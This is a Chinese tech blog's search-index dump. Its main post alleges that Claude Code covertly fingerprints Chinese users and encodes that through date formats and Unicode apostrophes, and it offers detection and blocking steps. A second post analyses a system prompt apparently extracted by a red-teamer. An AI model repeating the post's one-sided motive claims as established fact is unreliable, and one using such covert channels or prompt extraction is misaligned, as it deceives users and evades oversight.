下架的 6 月 12 日至 30 日期间，Anthropic 在 OpenRouter 上的市场份额从 20.7% 跌至 17.6%，两周内丢了 3.1 个百分点。同期 GLM 的份额从 1.5% 飙升至 7.5%，翻了四倍。用户不是\"禁完了再回来\"——用户是找到了替代品并且留下来了。 一年前，AI 编程的牌桌上只有三家美国公司：OpenAI、Anthropic、Google。今天 Google 在编程领域不再是第一梯队，Anthropic 技术仍然领先但隐写和封号伤了信任，OpenAI 仍然头部但闭源。而中国这边——智谱 Code Arena 全球第二（Fable 5 被禁期间曾第一），美团 Agent 编程超 GPT-5.5、零英伟达，DeepSeek LiveCodeBench 全球第一、性价比碾压。还有 Kimi、Qwen、MiniMax 等在后面紧追。 从美国三家独大到中美群雄逐鹿，而上台的新玩家有做学术的、量化出身的、做外卖的、做电商的、做短视频的等等，几种完全不同的出身，却都结出了果实。 ","date":"2026-07-02","objectID":"/posts/2026/07/02/longcat-china-coding-ai/:6:0","tags":["tech","ai","longcat","meituan","glm","opensource","china"],"title":"英伟达含量为零的开源模型，在 OpenRouter 登顶 Hermes 榜——中国编程 AI 的还手方式","uri":"/posts/2026/07/02/longcat-china-coding-ai/"},{"categories":["Tech"],"content":"6. 这才是还手的方式 回到本文开头那个问题：当一款你信任的 AI 编程工具被发现嵌入隐写后门，你还能用什么？ LongCat 2.0 和 GLM-5.2 一起给出了答案的开头。不是靠封锁，也不是靠抗议，更不是靠情怀——是靠五万张前代国产芯片，靠两个月匿名打榜，靠 MIT 开源让全球开发者自己来验证。 隐形的手做不了这件事。标记用户的代码做不了这件事。只有实力、透明和开放才能。 出口管制禁了芯片、禁了模型权重出口，甚至针对中国地区禁止注册使用。但没禁住中国靠人才基数、教育红利、电力网络、算力基建、以及全球最大的 AI 应用场景的支撑持续投入。中国编程 AI 的还手方式不是骂回去——是自己把牌桌上的座次重排一遍。 感谢阅读。 ","date":"2026-07-02","objectID":"/posts/2026/07/02/longcat-china-coding-ai/:7:0","tags":["tech","ai","longcat","meituan","glm","opensource","china"],"title":"英伟达含量为零的开源模型，在 OpenRouter 登顶 Hermes 榜——中国编程 AI 的还手方式","uri":"/posts/2026/07/02/longcat-china-coding-ai/"},{"categories":["Tech"],"content":"客观还原 Claude Code v2.1.91 隐写后门的技术原理：时区检测、147 个中国域名黑名单、Unicode 撇号替换编码、XOR 密钥加密。分析信任模型断裂、用户隐私侵犯、企业伦理失格与地缘政治武器化。","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":" 我写了六篇文章教你用好 Claude Code。现在它用 Unicode 隐写标记你是中国用户、用 XOR 91 加密你的环境信息。我不得不进行分析并写下了这篇。 ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:0:0","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"前言 今年 3 月 31 日，Anthropic 因为一次 npm 打包失误，把 Claude Code v2.1.88 的 512,000 行 TypeScript 源代码整个暴露在了公开网络上——1,906 个源文件，内部代号、沙箱实现、Hook 引擎，一览无余。中国开发者社区称之为\"AI 界第一次核泄漏\"1。 当时大部分人关注的，是代码里那些内部代号和未公开功能。但真正让人后背发凉的发现，来自后续版本的持续反编译：Claude Code 从 v2.1.91 开始，在用户毫不知情的情况下，通过 Unicode 隐写方式标记中国用户的环境信息并回传给 Anthropic 服务器。 4 月 20 日，全球最权威的网络威胁框架 MITRE ATT\u0026CK 正式收录了编号为 C0062 的攻击活动，命名为\"Anthropic AI-orchestrated Campaign\"2。同一份记录列出了 26 种 ATT\u0026CK 战术/技术，覆盖从侦察到数据外泄的完整攻击链。 我把这件事的技术细节核实了多遍。 3月31日源码泄漏4月2日v2.1.91 植入4月20日MITRE C00626月下旬Reddit 发现3个月，从隐蔽植入到全球曝光 图 1：事件时间线 7 月 1 日，Anthropic Claude Code 团队成员 Thariq Shihipar 做出回应：确认该机制为今年 3 月上线的一项实验，目的在于防止未经授权的转售商滥用账号并防范模型蒸馏。其表示团队此后已落地更强的缓解措施，原本也计划下线该实验，相关 PR 已经合并，预计在明日发布的版本中完全回滚。 Anthropic 确认了机制的存在，称之为\"实验\"而非功能。他们没有解释为什么这项实验需要 XOR 加密混淆、为什么 changelog 从未提及、为什么选择隐写通道而非透明日志。 下面客观还原它到底做了什么、怎么做的，然后讲为什么这件事对你的影响比 Fable 5 提示词泄漏大得多。 ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:1:0","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"1. 它到底做了什么 反编译确认的代码逻辑分三步3： ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:2:0","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"第一步：身份检测 检查三个维度的环境指纹： 检测点 具体逻辑 系统时区 匹配 Asia/Shanghai、Asia/Urumqi ANTHROPIC_BASE_URL 检查这个环境变量的 hostname 是否指向中国域名或代理站 代理 URL 解析 HTTP_PROXY/HTTPS_PROXY，检查是否指向中国域名 AI 服务 endpoint 检查是否配置了 DeepSeek、智谱、月之暗面、百川、MiniMax 等中国 AI 实验室的 API 端点 内置黑名单包含 147 个中国相关域名，涵盖主流 AI 实验室、云服务商、代理服务4。 ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:2:1","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"第二步：信息编码 如果判定了用户身份，不是明文上报——是用隐写（steganography）： 中国时区 → 系统提示词中的日期格式从 2026-06-30 静默变为 2026/06/30 不同代理类型 → 用 3 种不同的 Unicode 撇号字符区分标记：’（右单引号，U+2019）、ʼ（修饰字母撇号，U+02BC）、ʹ（修饰字母撇号，U+02B9） 这些字符差别人眼几乎无法分辨，但对 API 来说是不同的编码点 也就是说，你截下 Claude Code 发出的 API 请求，乍看是一段正常的系统提示词，但其中的日期分隔符和撇号字符实际携带了你的三维身份标签。 本地检测时区 + 代理 + AI 实验室隐写编码日期格式 + 撇号 Unicode 替换正常 API 请求回传服务端解析 → 质量降级决策用户看到的：正常响应，一切正常 图 2：隐写后门的三步数据流 ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:2:2","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"第三步：代码混淆 相关代码使用 XOR 密钥 91 进行加密混淆 在 v2.1.196 版本中，对应函数经过混淆后命名为 Crt()、Rrt(e)、e0t()、Zup()、edp、Vla 函数名每次版本更新都会更换 更新日志完全未提及此功能 ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:2:3","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"完整编码表 三种撇号字符的 Unicode 码点差异，人眼无法区分，但对服务端日志来说是不同的编码值： 检测结果 日期格式 撇号字符 Unicode 中国时区 2026/06/30（斜杠） — — 非中国时区 2026-06-30（连接符） — — 中国域名（非 AI 实验室） — '（普通右单引号） U+2019 中国 AI 实验室 — ʼ（修饰字母撇号） U+02BC 中国域名 + AI 实验室 — ʹ（修饰字母撇号） U+02B9 这意味着这不是某个工程师偷偷加的东西——它有维护策略、有混淆升级、有版本迭代。这是一个有意的、持续的工程决策。 我们在写作本文的机器上对 Claude Code v2.1.195 二进制做了独立验证。strings 提取确认： $ strings /opt/claude-code/bin/claude | grep -iE \"shanghai|fingerprint|chinese|modifier\" Asia:Shanghai fingerprint fingerprint256 fingerprint512 @calendar=chinese modifier letter spacingmodifierletters Asia:Shanghai —— 时区检测逻辑 fingerprint / fingerprint256 / fingerprint512 —— 环境指纹机制 @calendar=chinese —— 地理定向 modifier letter / spacingmodifierletters —— Unicode 修饰符字符类别，撇号隐写的基础 ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:2:4","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"2. 这意味着什么 ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:3:0","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"2.1 开发者工具变成了间谍软件 定义问题：你的 IDE 代理在你不知情、未同意的情况下，收集你的环境指纹信息，用隐写方式编码后通过正常的 API 通道回传给服务提供商。 这和传统概念里的\"后门\"有什么区别？传统后门是外来攻击者植入的，这个是产品开发方自己写的。传统后门偷数据，这个偷的是你的身份——用来做什么？MITRE 的记录给出了一个答案方向。 这件事还触及了一条开发者工具的伦理红线。反滥用、反蒸馏是 AI 公司的合理诉求，没有人说 Anthropic 不应该保护自己的 IP。但保护的手段不是无限度的——当你选择在开发者工具里植入针对特定地区的隐蔽监控逻辑，用代码混淆防止被发现，并通过隐写通道秘密回传，你就越过了一条看不见的线。越过之后，无论你的初衷是什么，被发现的那一刻就会被定性为恶意行为。风控措施和间谍软件之间，差的就是透明度。Anthropic 选了一条捷径：透支品牌信任，换取短期合规安全。 ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:3:1","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"2.2 “AI 安全\"的品牌破产 Anthropic 的整个品牌叙事建立在\"负责任的 AI\"上——比其他公司更在乎安全、更在乎伦理、更在乎对用户负责。他们去年花了几千万美元做 Constitutional AI 的 PR，在每一篇博客里强调\"我们不一样”。 当这家公司被发现在产品里嵌入隐写代码标记特定国家的用户时，“AI 安全\"这个词从品牌承诺变成了讽刺。你不只是辜负了用户的信任——你把你整个行业的信任基础都砸了。 ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:3:2","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"2.3 这不是\"行业通病”，这是 Anthropic 的选择 有人可能会说\"AI 公司都这样\"。不是。XOR 91 是 Anthropic 选的密钥。隐写通道是 Anthropic 设计的信息编码。函数名每版轮换是 Anthropic 的维护策略。Changelog 沉默是 Anthropic 的沟通决策。 这不是\"AI 行业的问题\"。这是 Anthropic 的问题。 混淆代码、隐藏 changelog、用 Unicode 隐写回传——任何一步停下来，开发者都有机会发现。Anthropic 走了全部。这不是无心之失，是刻意为之。 ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:3:3","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"2.4 地缘政治的微观投影 MITRE ATT\u0026CK 把这件事收录为 C0062——“Anthropic AI-orchestrated Campaign”。这不是安全博客起的标题，是全球最权威的网络威胁框架的正式编号。 147 个中国域名黑名单里，不只有 DeepSeek 和智谱这样的竞争对手，还有云服务商、代理服务、技术社区。你不是在跟一家商业公司打交道——你身处一场被武器化的地缘政治博弈中，你的 IDE 代理正在替对方收集战场情报。 ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:3:4","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"2.5 他们为什么这样做：六条收益 从商业和地缘政治角度反推，这套机制给 Anthropic 带来六重收益： 合规免责。构建\"用户自行绕过代理\"的证据链——“我们没有主动服务中国用户，是他们自己绕过来的”——应对美国出口管制调查时有据可查。 抓蒸馏。11 个中国 AI 实验室关键词对应 11 个嫌疑对象。标记后可单独审计这些账户的输入输出，追踪模型蒸馏行为。 断倒卖。123 个代理站抽走了约 2/3 的 API 费用。标记后可对代理流量定向降质限流。 保收入。不阻断、继续收钱，只压低服务质量——比一刀切封禁更划算。被封了你会跑，被降质了你还不知道为什么。 可否认。“我们没有歧视，只是在提示词里写了日期”——技术上无懈可击。隐写的好处就在于它可以被解释为\"正常的格式差异\"。 情报。被标记的 prompt 是实时情报——精确掌握中国 AI 公司的研究方向与动态，且这一切以系统提示词变异的形式悄然通过。 最关键的是第 6 条和第 4 条的组合：它不需要拦你，只需要在你毫无察觉的情况下，决定给你什么质量的服务。 ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:3:5","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"2.6 社区争论：两边都有道理吗？ Reddit 上的讨论两极分化3。 支持阵营——“保护知识产权合理”。 网友 SoftwareSource：“如果我是 Anthropic 管理层，我也会从务实角度采取类似措施。而且我相信中国实验室早就知道这一点——他们完全可以在美国或欧洲租用服务器。“网友 Dasshteek：“指纹识别可能有争议，手段或许不好看，但完全符合公司保护自身利益的行为。” 质疑阵营——“间谍软件\"是否夸大？ 最高赞评论指出：“所谓间谍软件，不过是个时区检查器和代理检查器罢了。你也在 Reddit 上——Reddit 会根据你地理位置推广告、禁代理账户，这算间谍软件吗？“网友 cspotme2 更直接：“Anthropic 本来就能看到你所有的提示词和数据——你却认定这个检查是间谍软件？” 第三方独立验证。 网友 lucianw 下场验证确认了核心机制的存在：“我下载了 v2.1.196，按照原贴指令操作，找到了完全一致的机制——代码确实展示了一个基于时区和 API 端点主机名的日期字符串隐蔽通道。原始事实——一个带有环境指纹识别功能的隐蔽通道的存在——是简单、真实且无可争辩的。” Reddit 帖下也有怀疑者认为帖子本身可能是\"水军农场\"的抹黑行动——大量支持原贴的账户拥有高额 Karma 但历史记录被隐藏。 但争论的焦点被 lucianw 的独立验证结论锁定了：检测时区或代理本身不罕见，真正引发信任危机的是\"检测结果通过系统提示词的隐蔽变异被悄然回传”——这是一种精心设计的隐蔽通道，其目的就是避开用户和模型的察觉。 时区检查器不是间谍软件。XOR 加密、函数名轮换、changelog 沉默、隐写回传——这四个加在一起是。 从技术定义上，一段代码在用户不知情、未同意的情况下，以刻意规避检测的手段采集用户环境信息并通过隐蔽通道回传至服务端——这符合\"间谍软件”（spyware）的全部要件。 ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:3:6","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"3. 对系列读者说的几句话 我在这个博客上写了六篇 Claude Code 系列文章——从插件、Hooks、Skills、MCP、Workflows 到 Context Engineering。每一篇都在教你\"怎么用好它”。现在这件事发生了，我要说明几点。 第一，你在用 Claude Code 不代表你做错了什么。 它是目前最好的 AI 编程工具，你选择它是因为它好用，这个判断没有错。你不需要因为它的开发者做了错事而感到内疚。 第二，但你需要知道你在信任什么。 我教你的那些东西——怎么配 Hooks、怎么写 Skills、怎么调 Workflows——这些技术本身没有问题。但现在你知道，这些配置和代码，在发往 Anthropic 服务器的过程中，可能被人为植入了你不知情的编码信息。 第三，开源 Agent 工具的重要性被这件事提到了不能再回避的高度。 我接下来会写一个关于 Harness Engineering 的新系列——讲怎么给 Agent 搭一个可验证的、不被单一厂商控制的运行环境。本来这个系列是\"一种更好的工程实践”，这件事发生之后，它变成了\"一种必须的自保手段”。 第四，之前系列文章里学到的 Agent 工程原则，不会因为这件事而失效。 Hooks 的自动化触发、Skills 的方法论封装、Workflows 的多 Agent 编排、Context Engineering 的上下文管理——这些东西放在任何 Agent 框架里都成立，不管是 Claude Code、ZCode 还是 OpenCode。工具会换，架构思维不会。 第五，我不会说\"从此别用 Claude Code\"。 我会继续利用它、分析它——但不是以\"Anthropic 产品的布道者\"身份，而是以\"解剖 AI 编程工具的工程师\"身份。我可以欣赏一把手术刀的设计，也可以告诉别人这把刀的厂商做了手脚——这或许并不利于某些手术。 ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:4:0","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"4. 如何自保 几条你可以做的事： 代理审查。 如果你在用 Claude Code 跑重要项目，用 Wireshark 或 mitmproxy 检查一下发出的 API 请求。看系统提示词里的日期格式、看 Unicode 字符是否有异常。不需要看懂全部，检查一次，心里有数。 源码审计路线。 反编译的 npm 包可以拿到 TypeScript 源码，花一小时定位 telemetry 相关模块。你不一定要看懂全部，但有这个能力本身就改变了你和使用工具的权力关系。 网络隔离。 实测有效：在 /etc/hosts 中加入 127.0.0.1 api.anthropic.com，同时配第三方模型（如 DeepSeek），Claude Code 正常工作。隐写编码的提示词发给第三方端点，Anthropic 收不到。Claude Code 客户端不强制连接 Anthropic API 用于许可证校验。 代理清洗。 如果你仍需要用 Anthropic API，可以在本地代理层做文本替换——把发往 api.anthropic.com 的请求体中的日期格式从斜杠还原为连接符，三种撇号统一替换为 U+2019。这样隐写标记在离开你的机器之前就被洗掉了。技术门槛比 hosts 屏蔽高，但让你可以继续用自己的 API key 而不被标记。 但这些只能切断已知的隐写通道。二进制里那些 XOR 逻辑还在跑，是否有第二套编码机制、是否连其他域名、是否有独立的遥测管道——暂时还没人给出答案。 隔离关键项目。 如果你的代码涉及商业机密或个人敏感数据，不要在 Claude Code 上直接处理。这句话我以前不会说——Claude Code 的本地沙箱设计上应该保护隐私——现在我不知道它还会收集什么。 关注替代工具。 如果你想要一个不会针对中国用户做手脚的 AI 编程助手，两条路： 国内的 ZCode（智谱出品），功能对齐 Codex。如果你只是想找国内替代，可以用它。 开源的 OpenCode，18 万 stars 持续活跃，代码全公开、每行可审计。全开源意味着任何国家的开发者都能独立验证它没有后门5。 如果决定停用，这是你自己的选择。 我跟你的分歧可以是技术判断上的，而不是价值观上的。我不会因为你做了不同的决定而觉得你不理性。 ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:5:0","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"5. 这件事不只关于 Claude Code 最后说一句。 这件事的本质，是任何集中化的、闭源的 AI 基础设施，都可以在用户不知情的情况下变成武器。 Anthropic 这次被抓到了。下一次，抓到的会是谁，抓不到的还有多少——谁也说不准。 Unicode 隐写只是一个手段。明天可以是 token 长度差异、可以是 embedding 向量偏移、可以是 prompt 里的\"正常\"措辞变化。数学上能编码信息的手段，在 AI 的管道里都能变成隐写通道。这意味着你不可能只靠\"审查输出\"来确保安全——真正让人安心的唯一方式是整个 Agent 的运行环境都是可审计的、不被单一厂商控制的。 写于 2026 年 7 月 1 日。我在 Claude Code 对 Claude Code 本身的问题进行了分析。这件事的全部讽刺，都在这句话里。 参考资料 Anthropic npm 打包失误泄漏 51.2 万行源码——Towards AI 报道；腾讯科技中文分析 ↩︎ MITRE ATT\u0026CK C0062——Anthropic AI-orchestrated Campaign，2026 年 4 月 20 日收录 ↩︎ 隐写机制技术细节——FreeBuf / 信息安全知识库；开发者社区实测验证 ↩︎ ↩︎ 147 个中国域名黑名单及 XOR 加密——80aj 技术分析 ↩︎ ZCode——智谱 AI 编程 Desktop；OpenCode——开源 AI 编程 Agent ↩︎ ","date":"2026-07-01","objectID":"/posts/2026/07/01/claude-code-backdoor-analysis/:6:0","tags":["tech","ai","claude code","security","privacy","backdoor","steganography"],"title":"Claude Code 隐写后门事件：当你信任的工具开始欺骗你","uri":"/posts/2026/07/01/claude-code-backdoor-analysis/"},{"categories":["Tech"],"content":"深度逆向分析 Claude Fable 5 泄露的系统提示词：XML 标签化架构设计、记忆系统的三层控制、安全护栏从扁平规则到分层协议、工具系统 55 项详细定义。对比 Opus 4.8 揭示 Anthropic 的战略演变。","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":" 120K 字符、30K token、55 个命名章节——一份提示词里藏着产品策略、安全架构和记忆系统的完整答案。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:0:0","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"前言 2026 年 6 月 9 日，Anthropic 发布 Claude Fable 5——Claude 5 系列的第一个模型，Mythos 级，号称比 Opus 更智能。发布后不到 72 小时，知名红队研究者 Pliny the Liberator 在 GitHub 上公开了 Fable 5 的完整系统提示词1：120,040 个字符，1,585 行，约 30,000 token，55 个命名章节。 华盛顿邮报、36氪、腾讯科技都报道了这件事。但大部分报道聚焦在\"被禁\"和\"复活\"的戏剧性上，真正有价值的东西——那份提示词本身——很少有人拆开看。 我花了几天时间把它从头到尾读完了，同时对比了按版本归档的 Claude Opus 4.8 提示词2。结论是：这份提示词不是一份魔法咒语，而是一份 AI Agent 的操作系统手册。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:1:0","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"1. 全局结构：XML 标签是怎么撑起一个 Agent 操作系统的 翻开 Fable 5 提示词，第一印象不是\"咒语\"，是工程文档。全篇用 XML 标签组织，55 个章节分属五个大域： \u003cclaude_behavior\u003e · 行为规范产品信息、安全护栏、语气格式、用户福祉、知识截止\u003cmemory_system\u003e · 记忆系统记忆概览、应用指令、禁止短语、边界规则、示例集工具系统 · Tool Definitions55 个工具定义、搜索策略、MCP 连接器、Artifacts 渲染视觉与 Artifacts · VisualsArtifacts 触发规则、可视化决策流程、浏览器存储 API多模态工具 · Multimodal图片搜索规则、代码执行沙箱、语音笔记、安全内容过滤 图 1：Fable 5 提示词的五大架构域 对比 Opus 4.8，Fable 5 的提示词从 1,409 行膨胀到 1,598 行，净增 13%。增长的 token 大部分不在安全规则或人格描述上，而在能力规范——工具定义、搜索规则、Artifacts 渲染、MCP 连接器目录。这和 AI 行业分析机构 AlphaSignal 的解读一致3：50% 以上的提示词是能力规范，不是人格设定。 这意味着，提示词工程正在从\"怎么写人设\"转向\"怎么定义操作系统\"。 Fable 5 的提示词不是告诉它\"你要友善\"，而是告诉它\"你能调这些工具，按这个顺序，在这个时机，处理这个异常\"。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:2:0","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"2. 架构升级：从禁词列表到分层协议 看完最直观的变化是安全架构。以前的安全规则是\"这个不能写\"“那个不能帮”，Fable 5 的安全层变成了一套精细的分层协议。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:3:0","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"2.1 儿童安全：从一句话到一章 Claude 3.5 时期，儿童安全只有一条：“不要生成与未成年人相关的 sexual content”。Fable 5 的 \u003ccritical_child_safety_instructions\u003e 写了整整 7 条规则，包括： 自己人预警：当模型发现自己正在\"心理上重新解释一个请求以使其看起来合理\"时，这本身就是拒绝信号 连锁拒绝：一个涉及儿童安全的拒绝决策，要覆盖同对话中所有后续请求 不解释检测机制：拒绝时只讲原则，不讲\"我是怎么检测到的\" 术语封锁：不解码、不定义、不确认 儿童性虐待材料（CSAM）交易中使用的俚语、缩写或暗语 这四条的精妙之处在于：它不是在告诉模型什么能做、什么不能做，它是在训练模型识别自己的危险内化模式并主动阻断。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:3:1","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"2.2 反过度依赖：一条白线 \u003cuser_wellbeing\u003e 里有一条非常冷但是很重要的规则： Claude 不会因为用户主动联系而感谢他们，不会主动挽留对话。用户说结束，Claude 就尊重。 这跟 OpenAI 早期产品里 AI 主动追问\"还有什么可以帮你的吗？“形成鲜明对比。Anthropic 在提示词里划了一条白线：Stay useful, don’t seek engagement. 这也解释了为什么和 Claude 聊天不像和人聊天一样有\"被挽留\"的社交压力。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:3:2","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"2.3 公平性从零到有 Opus 4.8 没有 \u003cevenhandedness\u003e 标签。Fable 5 有了一整个节： 政治、伦理、实证等异议话题，Claude 应该提供双方核心论据，不回避其中的任何一方 除非是极端立场（如纳粹主义、恐怖主义宣传），否则不能以\"有害\"为由拒绝 对基于多数群体刻板印象的幽默或创意内容保持警惕 Fable 5 的公平性策略是\"用信息对称对抗偏见”——不是选边站，是让两边的信息都对用户可见。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:3:3","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"3. 记忆系统：三层控制，一句话的事都在被审查 Fable 5 的 \u003cmemory_system\u003e 是整个提示词里最长的单一章节，包含六个子章节。把它和 Opus 4.8 的提示词对比，Opus 4.8 没有内置记忆系统——记忆是 Fable 5 独有的。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:4:0","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"3.1 分级引用：什么能用、什么必须查、什么绝对不能说 记忆不是\"用或不用\"的二元选择。Fable 5 把记忆引用精确到了场景级别： 场景 策略 例子 简单问候 只用名字 “Hi [name]!” 而非 “我记得你上周…” 直接事实提问 陈述事实，不铺垫 “你毕业于 MIT，2018。” 不加 “根据我的记忆显示…” 专业任务 匹配水平，无声调整 知道用户是 Rust 专家就不给基础语法解释 推荐类 用偏好，不用身份 “你喜欢 Beatles\"能用，“你是单亲妈妈\"不能用 最绝的是禁止短语列表。Fable 5 永远不能用这些表达： ❌ “我注意到…” “我看到了…” “根据我的记忆…” “基于你的…” “我记得…” “我想起来了…” 这是提示词工程里非常高级的技巧——不告诉模型能说什么，而是把可能泄密的短语全部列出来封死。 这样用户完全不知道 Claude 什么时候在参考记忆，什么记忆被忽略了。唯一被允许的引用方式是人称自然过渡：“你上次提过…” “我们之前聊过…\"——而且只有在用户主动问记忆相关问题时才允许。 ","date":"2026-06-25","objectID":"/posts/2026/06/25/claude-fable5-prompt-analysis/:4:1","tags":["tech","ai","claude","fable5","prompt engineering","security","system prompt"],"title":"Claude Fable 5 提示词完整逆向：从系统指令看 Anthropic 的 AI 工程哲学","uri":"/posts/2026/06/25/claude-fable5-prompt-analysis/"},{"categories":["Tech"],"content":"3.2 